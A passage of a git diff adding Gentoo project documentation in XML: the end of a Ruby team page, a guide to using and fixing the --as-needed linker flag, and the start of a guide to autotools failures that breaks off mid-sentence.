+                    In Gentoo multiple Ruby implementations can co-exist. This
+                    is supported through the <c>RUBY_TARGETS</c> mechanism. You can add
+                    the <c>RUBY_TARGETS</c> variable to your <path>/etc/make.conf</path> file to select
+                    which Ruby implementations you want packages to be installed for on your
+                    system. By default only <c>ruby18</c> is selected.
+                </p>
+
+                <pre caption="/etc/make.conf">
+<comment># Installs packages for Ruby 1.8 and 1.9.</comment>
+<var>RUBY_TARGETS</var>=<const>"ruby18 ruby19"</const>
+                </pre>
+                <note>
+                    Some packages do not support all Ruby targets mentioned below.
+                    For example, even if your RUBY_TARGETS setting instructs Portage to install for
+                    both Ruby 1.8 and 1.9, but the package only supports 1.8, the package will only
+                    be installed for Ruby 1.8.
+                    Review the output of <c>emerge -pv &lt;package&gt;</c> to see for which
+                    Ruby versions the package is actually installed.
+                </note>
+            </body>
+        </section>
+        <section>
+            <title>Ruby 1.8.x (aka MRI): ruby18</title>
+            <body>
+                <p>
+                    This version of Ruby is our main implementation. It is
+                    available as the 1.8 slot of <c>dev-lang/ruby</c>. It is
+                    available in the stable tree, and almost all Ruby packages
+                    in the tree are available for this implementation.
+                </p>
+            </body>
+        </section>
+        <section>
+            <title>Ruby 1.9.x (aka MRI/YARV): ruby19</title>
+            <body>
+                <p>
+                    This version of Ruby is currently still masked pending
+                    resolution of some issues. It is available as the 1.9 slot
+                    of <c>dev-lang/ruby</c>.
+                    <uri link="https://bugs.gentoo.org/show_bug.cgi?id=203706">Bug 203706</uri>
+                    tracks the remaining issues.
+                </p>
+                <p>
+                    In order to test Ruby 1.9 you will need to unmask the
+                    package and also the associated <c>ruby_targets_ruby19</c> USE
+                    flag.
+                </p>
+                <impo>
+                    The Gentoo Ruby Team currently does not recommend using Ruby 1.9 for production environments.
+                </impo>
+            </body>
+        </section>
+        <section>
+            <title>JRuby: jruby</title>
+            <body>
+                <p>
+                    This version of Ruby is based on the Java Virtual
+                    Machine. It is available as <c>dev-java/jruby</c>. It is
+                    available in the stable tree.
+                </p>
+            </body>
+        </section>
+        <section>
+            <title>Ruby Enterprise Edition 1.8.x: ree18</title>
+            <body>
+                <p>
+                    This is an enhanced version of Ruby 1.8, featuring various
+                    enhancements, most notably in that it requires less memory
+                    to run. It is available as <c>dev-lang/ruby-enterprise</c>.
+                </p>
+                <p>
+                    Ruby Enterprise Edition is currently available in the testing Portage branch on a few architectures.
+                </p>
+                <p>
+                    For more information, visit <uri link="http://www.rubyenterpriseedition.com/">http://www.rubyenterpriseedition.com/</uri>.
+                </p>
+            </body>
+        </section>
+    </extrachapter>
+
+    <extrachapter>
+        <title>Policy for adding new Ruby packages</title>
+        <section>
+            <title>Overview</title>
+            <body>
+                <p>
+                    The ruby herd gets a fair amount of requests to add new packages to
+                    the dev-ruby category in Portage. Unfortunately we often get a bit
+                    defensive about this and the package requests just hang about. This
+                    policy tries to outline our thinking on when to add new packages and
+                    what you can do to enhance the chances of adding a new package.
+                </p>
+            </body>
+        </section>
+        <section>
+            <title>Which packages should go to dev-ruby?</title>
+            <body>
+                <p>The dev-ruby category should <b>only</b> contain the following packages:</p>
+                
+                <ul>
+                    <li>Library code (e.g. <c>dev-ruby/mime-types</c>)</li>
+                    <li>Packages specific to the Ruby environment  (e.g. <c>dev-ruby/rake</c>)</li>
+                </ul>
+
+                <p>Specifically, <b>applications written in Ruby</b> should <b>not</b> go to the
+                    dev-ruby category by default, and they would not normally be
+                    maintained by the ruby herd. For example, recently cucumber has been
+                    added to the dev-util category, even though it is written in Ruby and
+                    started out as a spin of from the more Ruby-specific rspec. However,
+                    it now also has support for Java and it provides an application, so it
+                    is much better suited for a more targeted category of dev-util.</p>
+
+                <p>For libraries and supporting code we tend to add these packages
+                    only when they are a requirement for an application that gets added to
+                    Gentoo, or a new requirement of said application.</p>
+
+                <p>Other packages only get added when there is sufficient demand. We
+                    determine this by looking at the number of votes for a package, so
+                    feel free to open a bug for it and lobby a few folks to add their
+                    votes.</p>
+            </body>
+        </section>
+        <section>
+            <title>Why not add more packages?</title>
+            <body>
+                <p>Having this policy may seem silly. Why not just add new packages as
+                    people provide ebuilds for them?</p>
+
+                <p>In part we are reluctant to add many packages because they should
+                    really fall under the responsibility of someone else. For example,
+                    sup, the ruby mail client, fits much better to the net-mail
+                    herd. After all, not all packages written in C are part of the
+                    (not even existing) c herd.</p>
+
+                <p>In part we are also reluctant because once a package is added it
+                    will increase our workload towards the future. Version bumps, security
+                    issues, and QA within Gentoo must be kept up to date. On top of that
+                    ruby has a bit of a reputation for code that sees a few frantic
+                    releases and is than for all intents and purposes abandoned. Having
+                    packages like that in the tree adds disproportionally to our
+                    maintenance and takes away from providing you with an overall good
+                    ruby experience on Gentoo.</p>
+            </body>
+        </section>
+    </extrachapter>
+
+    <extrachapter>
+        <title>Version bumps for existing packages</title>
+        <section>
+            <title>gems-based packages</title>
+            <body>
+                <p>
+                    We <uri
+                    link="http://moving-innovations.com/~graaff/outdated-gems">automatically
+                    track</uri> updates to gems-based ruby packages,
+                    so please don't file bugs for these at all. (Note
+                    that the list in question is generated on-demand
+                    manually, so it may appear to be out of date.)
+                </p>
+                <p>
+                    If a gems-based package has not been updated to
+                    the latest version for some time then this usually
+                    means there are issues with it. In that case the
+                    best way to help us is to report a bug that
+                    includes a fully tested version of an ebuild. The
+                    ebuild should work correctly with FEATURES=test
+                    and USE=doc on all the ruby implementations that
+                    the ebuild supports.
+                </p>
+            </body>
+        </section>
+
+        <section>
+            <title>Other ruby packages</title>
+            <body>
+                <p>
+                    For other ruby packages we don't have a
+                    centralized mechanism to track new versions, but
+                    we still track a fair amount of them by other
+                    means. If you find such a package that has not
+                    been updated for a month then please feel free to
+                    file a bug for it since we may not be actively
+                    monitoring it. Please double-check that it is not
+                    (also) distributed as a gem to avoid unnecessary
+                    bugs.
+                </p>
+            </body>
+        </section>
+
+    </extrachapter>
+
+
+    <dev role="lead">graaff</dev>
+    <dev role="member">robbat2</dev>
+    <dev role="member">a3li</dev>
+    <dev role="member">gengor</dev>
+
+</project>
diff --git a/xml/htdocs/proj/en/qa/asneeded.xml b/xml/htdocs/proj/en/qa/asneeded.xml
new file mode 100644
index 00000000..0da81118
--- /dev/null
+++ b/xml/htdocs/proj/en/qa/asneeded.xml
@@ -0,0 +1,491 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/qa/asneeded.xml,v 1.20 2010/08/06 02:35:58 flameeyes Exp $ -->
+
+<guide link="/proj/en/qa/asneeded.xml" lang="en">
+<title>--as-needed introduction and fixing guide</title>
+
+<author title="Author">
+  <mail link="flameeyes@gentoo.org">Diego E. Pettenò</mail>
+</author>
+
+<abstract>
+This guide is meant to explain how the --as-needed LDFLAG works and to provide
+steps to fix simple cases where --as-needed fails to build a package.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2010-08-06</date>
+
+<chapter> <!-- Introduction -->
+<title>Introduction</title>
+<section>
+<title>What is --as-needed?</title>
+<body>
+
+<p>
+The <c>--as-needed</c> flag is passed to the GNU linker (GNU
+<c>ld</c>).  The flag tells the linker to link in the produced binary only the 
+libraries containing symbols actually used by the binary itself.  This binary 
+can be either a final executable or another library.
+</p>
+
+<p>
+In theory, when linking something, only the needed libraries are passed to the
+command line used to invoke the linker.  But to workaround systems with broken
+linkers or not using ELF format, many libraries declare some "dependencies"
+that get pulled in while linking.  A simple example can be found by looking at
+the libraries declared as dependencies by <path>gtk+ 2.0</path>:
+</p>
+
+<pre caption="libraries needed to link to gtk+ 2.0">
+$ <i>pkg-config gtk+-2.0 --libs</i>
+-lgtk-x11-2.0 -lgdk-x11-2.0 -latk-1.0 -lgdk_pixbuf-2.0 -lm -lpangocairo-1.0 -lpango-1.0 -lcairo -lgobject-2.0 -lgmodule-2.0 -ldl -lglib-2.0
+</pre>
+
+<p>
+Of course, if the application is just using functions from gtk+ 2.0, a simple
+link line with <c>-lgtk-x11-2.0</c> should make it build fine, but looking at
+which libraries are needed and which are not from a package point of view is 
+often an impossible task.
+</p>
+
+</body>
+</section>
+<section>
+<title>How can --as-needed be useful?</title>
+<body>
+
+<p>
+The use of the <c>--as-needed</c> flag allows the linker to avoid linking extra
+libraries in a binary.  This not only improves startup times (as the loader does
+not have to load all the libraries for every step) but might avoid the full 
+initialization of things like KDE's KIO for a binary if it's not using the KIO
+framework.
+</p>
+
+<p>
+More importantly, the use of <c>--as-needed</c> avoids adding dependencies to a
+binary that are prerequisites of one of its direct or indirect dependencies.
+This is important because when a library changes SONAME after an ABI change,
+all the binaries directly linking to it have to be rebuilt. By linking only the
+libraries that are actually needed, the breakage due to an ABI change is
+reduced.  It is particularly useful when the ABI breakage happens in a library
+used by some other high level library (like <path>cairo</path>, which is used
+directly by <path>gtk+-2.0</path>, and gets linked indirectly in applications
+using the latter), as it prevents the rebuild of the final binaries and thus of
+the packages carrying them.
+</p>
+
+<p>
+It is also useful to check whether the dependencies stated by the documentation
+are actually used by a package: it's not impossible that a package checks in
+a configure script for some library, and then links to it, but without using it
+at all because the code using it was removed or refactored or has not been 
+written.
+</p>
+
+</body>
+</section>
+<section>
+<title>How to use --as-needed</title>
+<body>
+
+<warn>
+At the time of writing, there are many packages failing in funny ways because
+of <c>--as-needed</c> as they weren't designed to be used with it.  While there
+shouldn't be (note the <e>conditional</e>) problems such as crashes, this flag
+is not considered safe for production use and not supported in any way by
+Gentoo.
+</warn>
+
+<p>
+If you want to try using the <c>--as-needed</c> flag, you can simply add it to
+your <path>/etc/make.conf</path> file.  Note that LDFLAGS are generally passed
+not directly to <c>ld</c> but to <c>gcc</c>, so you have to use the <c>-Wl,</c>
+prefix to pass them back to the linker.
+</p>
+
+<pre caption="enabling --as-needed in make.conf">
+LDFLAGS="-Wl,--as-needed"
+</pre>
+
+<note>
+There are known issues with <c>ld</c> shipped with binutils series 2.16, and
+early 2.17 prereleases. If you feel like trying this flag, you have to use at
+least version 2.17, that has all the fixes needed to have <c>--as-needed</c>
+behave correctly. Please note that 2.17.50.0.2 version is <b>not</b> working as
+one might expect and is, in regard to <c>--as-needed</c>, older than 2.17, as it
+misses a few important fixes.
+</note>
+
+<p>
+This flag should (note again the <e>conditional</e>) work on every Linux
+platform supported by binutils, but tests are being done only on AMD64 at the
+moment (some unofficial testing is being done on PPC too, but problems with
+binutils mix up their validity).  It's known not to work on FreeBSD and probably
+does not work on other non-Linux targets.
+</p>
+
+<p>
+As <c>--as-needed</c> depends not only on the way the package you're building is
+linked but also its dependencies, there are quite a few packages that were
+silently patched and fixed and might require rebuilding. Please make sure to
+rebuild the dependencies failing to link against before filing a bug.
+</p>
+
+<note>
+If you use more than one <c>-Wl</c> flag, you have to set <c>-Wl,--as-needed</c> separately in LDFLAGS due to 
+<uri link="http://sources.gentoo.org/cgi-bin/viewvc.cgi/gentoo-x86/eclass/ELT-patches/as-needed/2.2.6?view=log">libtool deplib reordering</uri>.
+</note>
+
+<pre caption="enabling --as-needed with additional flags">
+LDFLAGS="-Wl,--hash-style=gnu,-O1 -Wl,--as-needed"
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Forced --as-needed</title>
+
+<body>
+
+<p>
+Using <c>--as-needed</c> through LDFLAGS is the suggested method for standard
+users and users who don't want to have too many problems with packages failing
+to build. For developers, power users, and people who want to stress test
+buildsystems, a different strategy is also available, that forces each and every
+build to use <c>--as-needed</c> during the linking phase, as long as the
+<c>gcc</c> frontend is used as linker.
+</p>
+
+<p>
+The forced approach is useful to test packages that don't respect the LDFLAGS
+variable or packages that incorrectly filter the flag (see the next section for
+details about that), and to work around the <c>libtool</c> reordering bug. A
+compiler set to force <c>--as-needed</c> is easily reversed so that if a package
+is needed to be built without the flag a single switch is required.
+</p>
+
+<p>
+To force the <c>--as-needed</c> flag on the compiler, GCC spec files are used,
+creating a new profile for the compiler that always use it during linking
+phase. For any version of <c>gcc</c> it is possible to build the modified spec
+file using the following series of commands
+</p>
+
+<pre caption="commands to set up a forced --as-needed compiler">
+# <i>export SPECSFILE=$(dirname "$(gcc -print-libgcc-file-name)")/asneeded.specs</i>
+# <i>export CURRPROFILE=/etc/env.d/gcc/$(gcc-config -c)</i>
+# <i>gcc -dumpspecs | sed -e '/link:/,+1 s:--eh-frame-hdr:\0 --as-needed:' &gt; "$SPECSFILE"</i>
+# <i>sed "${CURRPROFILE}" -e '1i\GCC_SPECS='$SPECSFILE &gt; "${CURRPROFILE}-asneeded"</i>
+# <i>gcc-config "$(basename "${CURRPROFILE}")-asneeded"</i>
+# <i>source /etc/profile</i>
+</pre>
+
+<p>
+To switch between the <c>--as-needed</c> and standard compilers, just use
+<c>gcc-config</c> like they were different compiler versions or hardened and
+standard compilers.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Properly filtering --as-needed</title>
+
+<body>
+
+<p>
+Sometimes it is needed to filter <c>--as-needed</c> as the software is
+designed in such a way that it is not fixable to make use of
+it. Unfortunately just filtering the flag is often not the best choice
+because <path>LDFLAGS</path> can be tricky (they can be concatenated
+through commas, making it impossible to filter them out), and because
+it is possible to set it as a default through GCC's spec files.
+</p>
+
+<p>
+If you really need to disable the <c>--as-needed</c> behaviour,
+because of design choices that conflicts with the way
+<c>--as-needed</c> works (and thus not just because the package is
+broken, and fixable, when building with <c>--as-needed</c>), what you
+should be doing is something along these lines.
+</p>
+
+<pre caption="correct filter for --as-needed behaviour">
+inherit flag-o-matic
+...
+
+pkg_setup() {
+    append-ldflags $(no-as-needed)
+}
+</pre>
+
+<warn>
+Please consider using this filtering <e>only</e> if you know that the
+design of the software conflicts with <c>--as-needed</c>. Do not use
+this construct if your package simply fails to build after enabling
+this behaviour.
+</warn>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Fixing problems with --as-needed</title>
+<section>
+<title>Identifying the problem</title>
+<body>
+
+<p>
+Developers willing to fix failures related to the <c>--as-needed</c> flag should
+be aware that there are many cases of failures that may fall into one of a few
+different categories.  I'll try to explain here the reasoning behind the
+failures and ways to fix them; some of them are really simple, others are not.
+</p>
+
+<p>
+If you find a package failing when using <c>--as-needed</c> you may file a bug in
+<uri link="http://bugs.gentoo.org/">Gentoo Bugzilla</uri>, blocking <uri
+link="http://bugs.gentoo.org/show_bug.cgi?id=129413">bug #129413</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Failure in compile, unrecognized option</title>
+<body>
+
+<p>
+This is at the same time the most simple and the most annoying problem that can
+be found.  There might be packages failing with an error like the following
+after adding <c>-Wl,--as-needed</c> to LDFLAGS:
+</p>
+
+<pre caption="common error while using --as-needed">
+ld: unrecognized option '-Wl,--as-needed'
+ld: use the --help option for usage information
+</pre>
+
+<p>
+This is caused by <c>ld</c> being called with the <path>LDFLAGS</path> variable
+instead of <c>gcc</c>, thus breaking because it doesn't recognize the
+<c>-Wl,</c> prefix used to tell <c>gcc</c> to pass the option down to the
+linker.  To fix this, one must pass the output of the <c>raw-ldflags</c>
+function to the <c>make</c> process.
+</p>
+
+<pre caption="example of raw-ldflags usage">
+inherit flag-o-matic
+...
+
+<stmt>src_compile()</stmt> {
+    <keyword>emake</keyword> <ident>LDFLAGS</ident>="<var>$(raw-ldflags)</var>" || <keyword>die</keyword> <const>"emake failed"</const>
+}
+</pre>
+
+</body>
+</section>
+<section>
+<title>Failure in final linking, undefined symbols</title>
+<body>
+
+<p>
+This is the most common error that happens while using <c>--as-needed</c>. It
+happens during the final linking stage of an executable (libraries don't create
+problems, because they are allowed to have undefined symbols). The executable
+linking stage dies because of an undefined symbol that is present in one of
+the libraries fed to the command line. However, the library is not used by the
+executable itself, thus it gets removed by <c>--as-needed</c>.
+</p>
+
+<p>
+This usually means that a library was not linked to another library, but was
+using it, and then relying on the final executable to link them together.  This
+behavior is also an extra encumbrance on developers using that library because
+they have to check for the requirements.
+</p>
+
+<p>
+The fix to this kind of problem is usually simple: just find which library
+provides the symbols and which one is requiring them (the error message from
+the linker should contain the name of the latter).  Then make sure that when the
+library is linked from the source files it's also linked to the first.  While
+using autotools, the dependent library has to be checked in the configure (this
+should already be the case to specify the dependencies in the <c>pkg-config</c>
+data file or in the script provided) and then the variable carrying this value
+should be added to the LIBADD variable for the library to be built.
+</p>
+
+</body>
+</section>
+<section>
+<title>Failure in execution, undefined symbols</title>
+<body>
+
+<p>
+Sometimes the undefined symbol errors don't happen while linking, but rather at
+the execution of an application built with --as-needed.  The cause, however, is
+just the same as for the undefined symbols in linking: a directly-linked library
+did not link one of its dependencies.  It also has the same solution: find which
+library carries the undefined symbols and make sure that it gets linked to the
+library providing them.
+</p>
+
+</body>
+</section>
+<section> <!-- Failure in ./configure -->
+<title>Failure in ./configure</title>
+<body>
+
+<p>
+Albeit less common than other kind of failures, <c>./configure</c>
+execution can fail because of <c>--as-needed</c> too. With this kind
+of failures, though, it's difficult to give a single and simple
+solution, as there are multiple reasons that might make the script
+fail.
+</p>
+
+<p>
+The most common option between those that we have now is that a
+library is checked for, but that library wasn't linked to all its
+prerequisites (and thus required them to be passed afterward). As
+<c>--as-needed</c> makes the linker ignore all the libraries not
+needed by the current target, the prerequisites will result missing.
+</p>
+
+<p>
+To check a <path>configure.ac</path> or <path>configure.in</path> file
+for this kind of failures, you can look for the <c>AC_CHECK_LIB</c>
+macro, and see whether the fifth parameter is used
+(<e>other-libraries</e>). When it is, it often means that those
+libraries need to be linked in the final binary to satisfy the
+dependencies of the library to check for. At that point, the library
+need to be fixed.
+</p>
+
+<pre caption="example of AC_CHECK_LIB call with fifth-parameter">
+AC_CHECK_LIB([foo], [foo_something],
+             [have_foo=yes], [have_foo=no],
+             [-ldl -lnsl])
+</pre>
+
+<note>
+While applying patches to libraries to fix <c>--as-needed</c> support, it is
+usually not the case to apply a revision bump: those who don't want to use the
+flag don't need to rebuild the library. For this reason, those who want to use
+<c>--as-needed</c> are invited to run an <c>emerge -e world</c> so that
+libraries are rebuilt.
+</note>
+
+<p>
+Another possible failure during <c>./configure</c> execution happens
+when the code is going to check for functions or other particular
+items (symbols, behaviour) and mistakenly pass the dependency
+libraries through the <path>LDFLAGS</path> variable.
+</p>
+
+<pre caption="example of mistake in library checks">
+PKG_CHECK_MODULES([FOO], [foo])
+
+...
+
+save_LDFLAGS=$LDFLAGS
+LDFLAGS="$LDFLAGS $FOO_LIBS"
+
+AC_CHECK_FUNCS([foo_choice1 foo_choice2 foo_choice3])
+
+LDFLAGS=$save_LDFLAGS
+</pre>
+
+<p>
+In this case the solution is very quick: just replace LDFLAGS with
+LIBS in both saving and restoring. This way the libraries will be
+passed in the correct order (see the following section for more
+insight about this kind of problem).
+</p>
+
+</body>
+</section>
+<section> <!-- Importance of linking order -->
+<title>Importance of linking order</title>
+<body>
+
+<p>
+One thing that might be frustrating when fixing packages for <c>--as-needed</c>
+is that sometimes, although all the libraries are present in the linking line,
+they are just ignored and not linked at all.  This leads to the same issues as 
+above; missing symbols either during final link or execution.  This is because 
+of a behaviour of the GNU linker that's enforced by <c>--as-needed</c>.
+</p>
+
+<p>
+Basically, what the linker does is look for the symbols missing in a given file
+(either an object file, a static archive or a library) only in the files coming
+after it.  When using the normal linking, without <c>--as-needed</c>, this is
+not a problem, although there might be some internal drawbacks on the linking
+stage, the files are linked together without considering ordering.  But with
+the flag, the libraries that aren't used for resolving symbols are discarded
+and thus not linked.
+</p>
+
+<pre caption="example of wrong and correct linking order">
+<comment>(in this case libm is considered before the object files and discarded independently from the content of the two.)</comment>
+$ <i>gcc -Wl,--as-needed -lm someunit1.o someunit2.o -o program</i>
+
+<comment>(this is the correct linking order to get libm linked only if needed.)</comment>
+$ <i>gcc -Wl,--as-needed someunit1.o someunit2.o -lm -o program</i>
+</pre>
+
+<p>
+The fix in this case is to simply fix the linking order so that the libraries given
+to the linker are all after the object files and the static archives.
+</p>
+
+<p>
+While using autotools there are usually small cases where this happens, because
+usually libs are fed either via the <path>LIBS</path> variable in the
+configure script or are listed in the LDADD/LIBADD variables for the target
+which is being built.  The only case when this happens to be a problem is when
+the libraries get fed into LDFLAGS variable (which is incorrect).
+</p>
+
+</body>
+</section>
+
+<section> <!-- Initializers and Deconstructors -->
+<title>Initializers and Deconstructors</title>
+<body>
+
+<p>
+There exists a class of applications at the moment that break when using
+<c>--as-needed</c>.  These applications are not at fault, but rather the linker
+itself.  The linker is unable to detect dependencies between the initializers
+and deconstructors (.init/.fini ELF sections) when working with C++ code.  As
+such, it may discard libraries when none of the symbols are used from it, thus
+mistakenly changing the initialization and deconstruction code paths.
+</p>
+
+<p>
+While this class of applications is small and there are no known applications
+yet which fall into this category, this is something to keep in mind.  The only
+way to really detect such a thing is by proper source code and runtime
+analysis.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; indent-mode normal; -->
diff --git a/xml/htdocs/proj/en/qa/autofailure.xml b/xml/htdocs/proj/en/qa/autofailure.xml
new file mode 100644
index 00000000..16ab3556
--- /dev/null
+++ b/xml/htdocs/proj/en/qa/autofailure.xml
@@ -0,0 +1,506 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/qa/autofailure.xml,v 1.12 2008/06/07 12:45:26 flameeyes Exp $ -->
+
+<guide link="/proj/en/qa/autofailure.xml" lang="en">
+<title>How to fix autotools failures</title>
+
+<author title="Author">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+
+<abstract>
+This guide aim to describe the common situations which makes autotools fail to
+run in an ebuild, giving advices on how to fix those.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.10</version>
+<date>2008-06-07</date>
+
+<chapter> <!-- Introduction -->
+<title>Introduction</title>
+
+<section>
+<body>
+
+<p>
+With the term <e>autotools</e> we usually refer to the tools developed by the
+GNU project to create platform and operating-system independent build systems,
+<c>autoconf</c>, <c>automake</c> and <c>libtool</c>. Although not every package
+uses all of them at the same time, most of the modern ones do so; older packages
+often does not use <c>automake</c> and <c>libtool</c> instead; KDE packages uses
+a more complex build system that relies at the end on the three software above.
+</p>
+
+<p>
+It's simple to recognize a package which build system is based on autotools:
+if there's a <path>configure</path> script, and a <path>configure.in</path> or
+<path>configure.ac</path> file, the build system is based on <c>autoconf</c>; if
+there are one or more <path>Makefile.am</path> files in the various
+sub-directories, it's also <c>automake</c> based; if there's a
+<path>ltmain.sh</path> script, it's also using <c>libtool</c>.
+</p>
+
+<p>
+To build a package that uses an autotools-based build system, the tools
+themselves aren't strictly needed: the <path>configure</path> script is a simple
+Bourne Shell script (usually, but this will be discussed lately) and it
+transforms the <path>Makefile.in</path> files into simpler <path>Makefile</path>
+for <c>make</c> (or, more often, <c>gmake</c>). In spite of them being optional
+for building the software, often the patches needed to solve problems like
+<uri link="asneeded.xml">--as-needed build failure</uri> or
+<uri link="automagic.xml">automagic dependencies</uri> requires us to re-run
+the tools to recreate scripts and makefiles' templates.
+</p>
+
+<p>
+This guide won't give directions on how to fix packages' errors with use of
+autotools, as that's a wide topic that requires lot of stuff to be explained.
+For a simple introductions of the most common errors while using autotools, it's
+rather suggested to read the
+<uri link="/doc/en/articles/autotools-practices.xml">best practices with autotools</uri>
+article. Instead, it will describe the common cases where re-running autotools
+lead to failures, either on the rebuilding of the script or at build time.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter> <!-- Re-running autotools -->
+<title>Re-running autotools</title>
+<section>
+
+<body>
+
+<p>
+The first important thing to know is how to properly rebuild autotools support,
+as that is a common problem that makes some ebuild fail. The order in which
+autotools are run is important, as one rely on the other and the final output
+depends vastly on the order to be respected.
+</p>
+
+<p>
+Many packages provide a single script, often called <path>autogen.sh</path> or
+<path>bootstrap.sh</path> that is uses to execute the tools in the order that
+upstream thinks it's the right one, often setting variables so that the right
+version of the tools is run (different versions of autotools often does not get
+along well). These scripts are, in general, preferred over other methods but
+often they contains mistakes, or assumptions of a given environment that might
+be unique of another distribution, for this reason, they should be checked
+carefully, and when they does not provide any advantage to the other methods (as
+they might be calling the tools one after the other not even passing them
+special parameters or checking their return value), they should be discarded.
+</p>
+
+<p>
+<c>autoconf</c> package provides an automated script, called <c>autoreconf</c>
+that should automatically detect which autotools are used and call them, but
+this too often fail to recognize the right versions or breaks because of corner
+cases. Also, it does run <c>autopoint</c>, the script that adds <c>gettext</c>
+support to a package, that is almost never required to be run after patching
+a package. For this reason, <c>autoreconf</c> is deprecated and avoided as
+possible (the same goes for custom upstream-provided scripts that uses it).
+</p>
+
+<p>
+To overcome these problems, the <path>autotools</path> eclass was added; this
+eclass provides wrapper functions around the GNU autotools: <c>eautoconf</c>,
+<c>eautomake</c>, <c>_elibtoolize</c> (_ is prefixed to avoid collision with
+<c>elibtoolize</c> functions from <path>libtool</path> eclass instead) and the
+most important <c>eautoreconf</c> function. This function does not wrap around
+the broken <c>autoreconf</c> script, but rather analyse the autotools support
+files present and run the tools in their right order. It also run the
+<c>elibtoolize</c> function to patch libtool support files if needed, avoiding
+problems when it's being called before the actual recreation of autotools files.
+</p>
+
+<p>
+The functions in <path>autotools</path> eclass have also the advantage of not
+presenting to the user a lot of raw output (in case of warnings) or nothing (in
+case there are no problems); instead they provide <c>ebegin</c>/<c>eend</c>
+status messages so users will know what's happening, and also they track the
+error situations by providing an <c>epatch</c>-like message in case of failure.
+For this reason, those functions are preferred over manual call or broken or
+almost pointless custom scripts. Another point is that <path>autotools</path>
+eclass also add the build-time dependency over the needed packages
+(<b>sys-devel/autoconf</b>, <b>sys-devel/automake</b>,
+<b>sys-devel/libtool</b>).
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Special case: KDE packages using kde.eclass</title>
+
+<body>
+
+<p>
+While KDE 3.x uses autotools like many other software packages, it is using a
+custom setup for them, with lots of custom macros, and further steps to complete
+the regeneration of all the needed files. For this reason,
+<path>autotools</path> should not be used to rebuild the autotools for KDE
+packages that use the <path>kde</path> eclass for building.
+</p>
+
+<p>
+As a special exception to the common rule of rebuilding autotools during
+<c>src_unpack</c> phase, KDE packages rebuild their autotools during the
+<c>src_compile</c> phase whenever the toplevel <path>configure</path> file is
+missing. For this reason, if you want to rebuild autotools files for a KDE
+package, you just have to remove the <path>configure</path> file from the base
+source directory.
+</p>
+
+<p>
+Most of the issues that are caused by KDE's own build system and appear with
+newer autotools versions can usually be solved by replacing the
+<path>admin/</path> directory in the source tarball with a fresh copy, either
+out of the latest KDE release or from SVN. To do so, you just have to add a
+tarball containing the new <path>admin/</path> directory as sole content to the
+<c>SRC_URI</c> variable, <c>kde_src_unpack</c> takes care of replacing it.
+</p>
+
+<impo>
+Please don't create new admindir tarballs before checking if there is already a
+tarball ready with the new <path>admin/</path> directory you need. The name for
+these tarball is de-facto standardised to be
+<path>kde-admindir-$version.tar.bz2</path>, and the current latest version
+available is 3.5.5. <!-- It would be nice to keep this updated, thanks! -->
+</impo>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Common failure cases and causes</title>
+
+<section>
+<title>Possibly undefined macros</title>
+
+<body>
+
+<p>
+The most common failure with autotools is related to the <c>autoconf</c> message
+"possibly undefined macro: SOME_MACRO". This message is issued when a macro is
+called from the <path>configure.ac</path> or <path>configure.in</path> file but
+it's not defined in the <path>aclocal.m4</path> file created by <c>aclocal</c>.
+</p>
+
+<p>
+This happens often because the mentioned macro is not available when
+<c>aclocal</c> is run; as it, by default, loads macros found in
+<path>/usr/share/aclocal</path>, this means that the package providing that
+macro is not installed (or the macro is called with the wrong name). As the
+second case is either trivial or complex to resolve, we'll focus on the first
+name, a missing macro definition.
+</p>
+
+<p>
+Macros written by developers for their software to be detected in the system by
+use of autotools are usually written in m4 files that are installed in the
+aforementioned <path>/usr/share/aclocal</path> directory. As many packages uses
+those macros for optional dependencies, there might be need for an m4 file that
+is not installed in the system where autotools are being run; to solve this
+problem, it's possible to copy the m4 file in a subdirectory shipped with the
+package itself.
+</p>
+
+<p>
+Unfortunately, to make use of this subdirectory, often called <path>m4</path>,
+<c>aclocal</c> has to be told about it. In projects using <c>automake</c> is
+possible to set that inside the main <path>Makefile.am</path> file by setting
+the <b>ACLOCAL_AMFLAGS</b> variable:
+</p>
+
+<pre caption="example of telling aclocal to search for macro files in 'm4' directory">
+...
+ACLOCAL_AMFLAGS = -I m4
+...
+</pre>
+
+<p>
+This often is overlooked by upstream developers that simply pass the
+<c>-I m4</c> parameter to aclocal while building their package. As adding a
+patch to fix this problem is an overkill, it's simpler, if the package has a
+directory with the needed m4 files, to set it in <b>AT_M4DIR</b> variable. The
+same goes if the package is not using <c>automake</c> but just <c>autoconf</c>.
+</p>
+
+<pre caption="telling eautoreconf to search for macro files in 'm4' directory">
+src_unpack() {
+    ...
+    AT_M4DIR="m4" eautoreconf
+}
+</pre>
+
+<p>
+In the rare case the software is using a Cygnus-style sub-configure build
+system, the above example might fail, as it tries to find a m4 subdirectory from where
+the configure is; to solve this kind of problems, set it to <path>${S}/m4</path>
+instead.
+</p>
+
+<note>
+It's usually a good idea to let upstream know if they aren't setting the
+<b>ACLOCAL_AMFLAGS</b> variable, so that they can fix that for next releases;
+in a theoretical perfect world, <c>eautoreconf</c> alone should solve all the
+problems.
+</note>
+
+<p>
+Less often, but still happens, there are no directories with m4 files, or the
+files with the undefined macro isn't there; to solve this issue, you have to
+search for which package provides the m4, and then add it to that directory,
+either with a patch or by putting it on mirrors and then adding it to
